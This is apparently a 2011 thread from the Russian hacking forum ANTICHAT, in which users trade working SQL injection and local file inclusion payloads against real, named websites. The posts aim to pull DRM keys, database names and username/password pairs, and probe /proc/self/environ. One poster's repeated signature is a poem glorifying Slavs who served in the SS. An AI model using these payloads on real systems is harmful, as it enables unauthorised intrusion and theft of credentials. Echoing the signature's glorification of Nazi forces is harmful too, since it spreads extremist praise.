ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
27.08.2011, 22:35
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от Samael91
Samael91 said:
Здравствуйте.
Подскажите как раскручивать такую SQL inj
http://www.vesti-moscow.ru/rnews.html?id=100114+order+by+13--
Но когда ввожу
http://www.vesti-moscow.ru/rnews.html?id=100114+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13--
Ошибка! 0_о
Там стоит Oracle
http://tvrus-sales.com/fullvideo.html?video_id=1705+union+select+null,nul l+from+sys.dual
|
|
|
27.08.2011, 23:17
|
|
Guest
Сообщений: n/a
Провел на форуме:
31256
Репутация:
1
|
|
Сообщение от KUKLOVOD2
KUKLOVOD2 said:
значит все пытаюсь раскрутить эту скулю.Наблюдается интересное явление:при запросе
Код:
Code:
Email=1')+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFO RMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='View_DRM_Keys'+AN D+COLUMN_NAME+NOT+IN+('asscode ','assigndate','AssignedDate','assignedtype','assi gnusername','binary_message_body','cdkey','CDSeria lNum'))--+&submit=Send+Registration+Key
мы видим что существует колонка code в таблице View_DRM_Keys.Но когда делаем выборку:
Код:
Code:
Email=1')+or+1=(SELECT+TOP+1+code+from+View_DRM_Ke ys)--+&submit=Send+Registration+Key
видим следующее:Invalid column name 'code'.Почему так?
Потом поэксперементировав я обнаружил, что вытаскивая колонки из разных таблиц, вытакскиваются колонки с одними и теме же именами, хотя в данных таблицах они могут и не существовать.Что можно предпринять? up, вопрос еще актуален.Уязвимый сайт: http://socketmobile.com/support/wifi/pw.asp
|
|
|
|
27.08.2011, 23:29
|
|
Guest
Сообщений: n/a
Провел на форуме:
14366
Репутация:
0
|
|
Сообщение от FlaktW
FlaktW said:
Там стоит Oracle
http://tvrus-sales.com/fullvideo.html?video_id=1705+union+select+null,nul l+from+sys.dual
Скажи плиз как ты узнал что там Oracle?
|
|
|
|
27.08.2011, 23:33
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от Samael91
Samael91 said:
Скажи плиз как ты узнал что там Oracle?
http://tvrus-sales.com/fullvideo.html?video_id=1705+union+select+null+fro m+sys.dual
http://tvrus-sales.com/fullvideo.html?video_id=1705+union+select+null,nul l+from+sys.dual
Отличия видишь?
|
|
|
|
28.08.2011, 14:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
Сообщение от Komyak
Komyak said:
Код:
Code:
+and+1=0+union+select+1,CONCAT(CONCAT(count(*),username,CONCAT(count(*),password))),3,4,5,6,7,8+from+calendar_users limit+0,1--
Вывод делает: и все, больше ничего не получается извлечь. Здесь люди не экстрасенсы...попробуй
1+and+1=0+UNION+SELECT+1,2,3,unhex(hex(username)), 5,6,7,8+FROM+calendar_users+LIMIT+0,1+--
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
29.08.2011, 16:23
|
|
Новичок
Регистрация: 12.05.2010
Сообщений: 2
Провел на форуме:
33215
Репутация:
0
|
|
Здравствуйте, как вывести названия таблиц, если через information_schema.tables не выводит, но известна БД (к примеру catalog) ?
http://*/index.php?id=-5+union+select+1,2,,4,5,6,version(),8,9,10,11,12,1 3,14,15,16,17,18,19+--+
Версия-4.0.27-Max-log
|
|
|
|
29.08.2011, 16:24
|
|
Guest
Сообщений: n/a
Провел на форуме:
34360
Репутация:
1
|
|
http://realestatesky.net/index.php?option=com_propiedades&controller=../../../../../../../../../../../proc/self/environ%00
Почему не инклудит логи? И как можно прочитать конфиг?
|
|
|
|
29.08.2011, 16:28
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Сообщение от Skipp
Skipp said:
Здравствуйте, как вывести названия таблиц, если через information_schema.tables не выводит, но известна БД (к примеру catalog) ?
http://*/index.php?id=-5+union+select+1,2,,4,5,6,version(),8,9,10,11,12,1 3,14,15,16,17,18,19+--+
Версия-4.0.27-Max-log
Никак. В mysql4 нет information_schema, а БД можно узнать встроенной функциейD)
|
|
|
|
29.08.2011, 16:36
|
|
Новичок
Регистрация: 12.05.2010
Сообщений: 2
Провел на форуме:
33215
Репутация:
0
|
|
Сообщение от XAMEHA
XAMEHA said:
Никак. В mysql4 нет information_schema, а БД можно узнать встроенной функцией
D)
Получается нельзя добраться до логин:пароль никак??? (через инъекцию)
|
|
|
|
29.08.2011, 16:39
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
Сообщение от Skipp
Skipp said:
Получается нельзя добраться до логин:пароль никак??? (через инъекцию)
методом тыка...то есть колонки и таблицу подбираешь сам
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
